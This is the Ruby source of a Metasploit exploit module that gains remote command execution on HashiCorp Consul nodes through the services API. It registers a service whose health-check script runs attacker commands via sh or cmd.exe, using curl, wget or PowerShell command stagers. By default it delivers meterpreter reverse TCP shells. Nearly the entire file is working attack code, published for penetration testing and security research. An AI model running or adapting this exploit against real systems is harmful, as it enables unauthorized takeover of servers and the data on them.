## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Hashicorp Consul Remote Command Execution via Services API', 'Description' => %q{ This module exploits Hashicorp Consul's services API to gain remote command execution on Consul nodes. }, 'License' => MSF_LICENSE, 'Author' => [ 'Bharadwaj Machiraju ', # Discovery and PoC 'Francis Alexander ', # Discovery and PoC 'Quentin Kaiser ', # Metasploit module 'Matthew Lucas ' # Windows support for Metasploit module ], 'References' => [ [ 'URL', 'https://www.consul.io/api/agent/service.html' ], [ 'URL', 'https://github.com/torque59/Garfield' ] ], 'Targets' => [ [ 'Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Windows', { 'Platform' => 'win', 'CmdStagerFlavor' => 'psh_invokewebrequest', 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } } ] ], 'Payload' => {}, 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => '2018-08-11' ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path', '/']), OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), Opt::RPORT(8500) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/v1/agent/self'), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] } }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end unless res.code == 200 vprint_error 'Unexpected reply' return CheckCode::Safe end agent_info = JSON.parse(res.body) if agent_info['Config']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableRemoteScriptChecks'] == true return CheckCode::Vulnerable end CheckCode::Safe rescue JSON::ParserError vprint_error 'Failed to parse JSON output.' return CheckCode::Unknown end def execute_command(cmd, _opts = {}) uri = target_uri.path service_name = Rex::Text.rand_text_alpha(5..10) print_status("Creating service '#{service_name}'") # NOTE: Timeout defines how much time the check script will run until # getting killed. Arbitrarily set to one day for now. case target.name when /Linux/ arg1 = 'sh' arg2 = '-c' when /Windows/ arg1 = 'cmd.exe' arg2 = '/c' end res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, 'v1/agent/service/register'), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] }, 'ctype' => 'application/json', 'data' => { ID: service_name.to_s, Name: service_name.to_s, Address: '127.0.0.1', Port: 80, check: { Args: [arg1, arg2, cmd.to_s], interval: '10s', Timeout: '86400s' } }.to_json }) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.') end print_status("Service '#{service_name}' successfully created.") print_status("Waiting for service '#{service_name}' script to trigger") sleep(12) print_status("Removing service '#{service_name}'") res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri( uri, "v1/agent/service/deregister/#{service_name}" ), 'headers' => { 'X-Consul-Token' => datastore['ACL_TOKEN'] } }) if res && res.code != 200 fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.') end end def exploit execute_cmdstager end end